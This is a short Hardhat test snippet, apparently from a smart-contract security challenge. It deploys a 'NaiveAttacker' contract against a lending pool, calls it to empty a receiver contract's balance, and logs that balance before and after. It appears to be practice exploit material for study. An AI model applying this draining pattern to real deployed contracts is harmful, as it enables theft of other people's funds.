exploit interface calling

exploit.js

  it("Exploit", async function () {

    const naiveAttackerFactrory = await ethers.getContractFactory(
      "NaiveAttacker",
      attacker
    );
    const naiveAttacker = await naiveAttackerFactrory.deploy(this.pool.address);

    // Attack
    console.log(
      "Receiver balance before attacking: ",
      String(await ethers.provider.getBalance(this.receiver.address))
    );

    await naiveAttacker.emptyReceiverBalance(this.receiver.address);

    console.log(
      "Receiver balance after attacking: ",
      String(await ethers.provider.getBalance(this.receiver.address))
    );
  });